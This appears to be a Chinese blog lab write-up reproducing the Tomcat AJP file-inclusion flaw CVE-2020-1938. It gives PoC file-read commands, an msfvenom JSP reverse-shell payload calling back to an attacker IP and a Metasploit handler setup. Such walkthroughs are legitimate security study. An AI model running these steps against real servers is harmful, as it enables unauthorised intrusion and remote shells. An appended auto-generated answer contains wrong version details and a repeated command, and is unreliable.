【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

  

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

一,漏洞描述

1-1 漏洞原理

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

1-2 受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31 

二,靶场搭建

靶场:kali2023  192.168.1.160

攻击机器:kali2023 192.168.31.150

通过docker镜像搭建靶场,如果没有安装docker镜像,请参考下面这篇文章进项安装

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790

2- 1 拉去靶场镜像

docker pull duonghuuphuc/tomcat-8.5.32 

 2-2 启动镜像

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32  

2-3 访问

访问 192.168.31.160:8080 看到此页面说明靶场搭建成功了

三,漏洞复现

首先需要下载漏洞利用工具 ,网址如下(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

 下载下来放到攻击机上(我的主机 kali2023 192.168.31.150)

名字很长,我改名了,叫CVE-2020-1938

cd 进入到文件里,可以看一下文件内容

 接下来利用Tomcat-Root路径下文件读取(CVE-2020-1938)来读取服务器问价内容

注意把最后的红色IP地址换成你自己的靶场IP

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160

结果能成功读取到文件了,证明这里存在文件包含漏洞。 

四,漏洞利用

我们如何getshell呢?

想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程

4-1 生成发现木马文件

注:真实环境中,在攻击器上生成木马,通过漏洞上传过去的

我在这里直接靶机 192.168.31.160上生成,复制到服务器目录中

kali上如下命令生成java木马文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt

4-2 复制文件到服务器

先 docker ps 查看容器CONTAINER ID

然后进行复制

docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/

没有报错说明上传成功了 

4-3 访问上传的木马文件

回到攻击器上

通过之前下载的POC访问一下,发现成功读取到了内容

但是我们目的是getshell,需要让反向shell执行才行

4-4 msf开启监听

先进入到msfconsole

msfconsole

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 ## 攻击器IP
set lport 4444  ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)

注:我监听8888端口一直失败,所以我换了个4444端口,并重新生成了连接192.168.31.150:4444端口的木马文件,复制到了靶场服务器上 

开启监听成功 

4-5 访问反向木马文件

最后一步:攻击主机访问木马文件,并编译执行,反向连接我们攻击主机

python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160

注意:这俩文件作用不一样,'Tomcat-ROOT路径下文件包含....'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接我们电脑

而Tomcat-ROOT路径下文件读取....'单纯的读取文件内容,而不会编译执行

 说明服务器上上传的反向木马编译执行了

看看监听的窗口有没有拿到shell

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

  • 15
    点赞
  • 74
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 11
    评论
复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学网安的A

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值